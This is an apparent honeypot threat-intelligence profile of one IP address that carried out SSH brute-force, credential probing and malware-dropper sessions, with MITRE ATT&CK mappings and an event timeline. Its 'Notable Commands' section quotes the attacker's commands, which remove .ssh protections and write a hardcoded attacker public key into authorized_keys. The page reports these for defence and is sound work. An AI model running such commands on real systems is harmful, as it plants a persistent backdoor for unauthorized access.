IntrusionLabs / threat intelligence

Sign in

← Back to feed

147.15.20.173

TAGGED SUSPICIOUS how we decide →

Threat Confidence

50%

Location

🇧🇷 BR / São Paulo

ASN

AS31898 · Oracle Corporation

Cloud Provider

—

Total Events

324

Above average by volume

Agent Count

2

First / Last Seen

2026-06-23 04:33 — 2026-07-02 04:41

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1016 T1046 T1082

Command and Control

T1105

External Corroboration

Not flagged by any external feeds

Campaigns

Not associated with any campaigns

Session Forensics

scanner ×2 reconnaissance ×1 malware_dropper ×8 credential_probe ×27 opportunistic_bruter ×9

Sessions

47 (18 with login)

Avg Depth Score

0.4

Commands Executed

27

Files Downloaded

8

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Malware Dropper 43bad68d5559 w4m_singapore_01 · 2026-07-02 04:41

3 1 1 100%

Loading events...

Credential Probe c3b773fde6e9 newark_01 · 2026-06-23 06:39

1 20%

Loading events...

Opportunistic Bruter 58b1ac593646 newark_01 · 2026-06-23 06:31

1 50%

Loading events...

Malware Dropper 9925ce1125a4 newark_01 · 2026-06-23 06:31

3 1 1 100%

Loading events...

Credential Probe c1d087aac046 newark_01 · 2026-06-23 06:31

1 20%

Loading events...

Credential Probe 36b65668147b newark_01 · 2026-06-23 06:27

1 20%

Loading events...

Credential Probe 25787d403e45 newark_01 · 2026-06-23 06:23

1 20%

Loading events...

Credential Probe 67bba92995fd newark_01 · 2026-06-23 06:16

1 20%

Loading events...

Opportunistic Bruter a689dda312a9 newark_01 · 2026-06-23 06:12

1 50%

Loading events...

Credential Probe 25fd45c73988 newark_01 · 2026-06-23 06:12

1 20%

Loading events...

Reconnaissance 8104067bffe3 newark_01 · 2026-06-23 06:12

3 1 60%

Loading events...

Credential Probe ae9955555775 newark_01 · 2026-06-23 06:08

1 20%

Loading events...

Credential Probe b70b4475f72d newark_01 · 2026-06-23 06:04

1 20%

Loading events...

Malware Dropper f39828869bfa newark_01 · 2026-06-23 06:00

3 1 1 100%

Loading events...

Opportunistic Bruter 8a43f03256a5 newark_01 · 2026-06-23 06:00

1 50%

Loading events...

Credential Probe a46dcf500745 newark_01 · 2026-06-23 06:00

1 20%

Loading events...

Credential Probe a7bf8ba62f62 newark_01 · 2026-06-23 05:55

1 20%

Loading events...

Credential Probe 2e1f9f66ffdf newark_01 · 2026-06-23 05:51

1 20%

Loading events...

Credential Probe b50b661505da newark_01 · 2026-06-23 05:46

1 20%

Loading events...

Opportunistic Bruter 30762786d991 newark_01 · 2026-06-23 05:43

1 50%

Loading events...

Malware Dropper 477095e25551 newark_01 · 2026-06-23 05:43

3 1 1 100%

Loading events...

Credential Probe b6b79fd35fdc newark_01 · 2026-06-23 05:43

1 20%

Loading events...

Credential Probe 187968741c6c newark_01 · 2026-06-23 05:38

1 20%

Loading events...

Opportunistic Bruter 33d149d3481c newark_01 · 2026-06-23 05:34

1 50%

Loading events...

Malware Dropper c130b6e8d6ef newark_01 · 2026-06-23 05:33

3 1 1 100%

Loading events...

Credential Probe 3457bb0d6ec0 newark_01 · 2026-06-23 05:34

1 20%

Loading events...

Credential Probe 093db73bb6bc newark_01 · 2026-06-23 05:28

1 20%

Loading events...

Credential Probe 4b509b2f368d newark_01 · 2026-06-23 05:22

1 20%

Loading events...

Opportunistic Bruter 3c290a621bb1 newark_01 · 2026-06-23 05:17

1 50%

Loading events...

Malware Dropper 1811a986a621 newark_01 · 2026-06-23 05:17

3 1 1 100%

Loading events...

Credential Probe 51cdb657ca46 newark_01 · 2026-06-23 05:17

1 20%

Loading events...

Credential Probe a2938b6bf677 newark_01 · 2026-06-23 05:12

1 20%

Loading events...

Opportunistic Bruter 027d90c88fb7 newark_01 · 2026-06-23 05:08

1 50%

Loading events...

Malware Dropper 16e8f75839dd newark_01 · 2026-06-23 05:08

3 1 1 100%

Loading events...

Scanner 55d0ac246985 newark_01 · 2026-06-23 05:08

15%

Loading events...

Credential Probe c34ad5cbe1e7 newark_01 · 2026-06-23 05:04

1 20%

Loading events...

Opportunistic Bruter 9096e31df6b9 newark_01 · 2026-06-23 05:00

1 50%

Loading events...

Malware Dropper eff503cc6750 newark_01 · 2026-06-23 05:00

3 1 1 100%

Loading events...

Credential Probe 37194d80bd0e newark_01 · 2026-06-23 05:00

1 20%

Loading events...

Credential Probe cc0f74360194 newark_01 · 2026-06-23 04:56

1 20%

Loading events...

Opportunistic Bruter 0f62cb4f5b9c newark_01 · 2026-06-23 04:52

1 50%

Loading events...

Credential Probe 96aaae3e7f43 newark_01 · 2026-06-23 04:52

1 20%

Loading events...

Scanner 26253f1b3e2d newark_01 · 2026-06-23 04:52

15%

Loading events...

Credential Probe bcead2ce0221 newark_01 · 2026-06-23 04:48

1 20%

Loading events...

Credential Probe 179a9ca6f786 newark_01 · 2026-06-23 04:44

1 20%

Loading events...

Credential Probe b0e1fbc3a180 newark_01 · 2026-06-23 04:40

1 20%

Loading events...

Credential Probe d6d724914d0a newark_01 · 2026-06-23 04:33

1 20%

Loading events...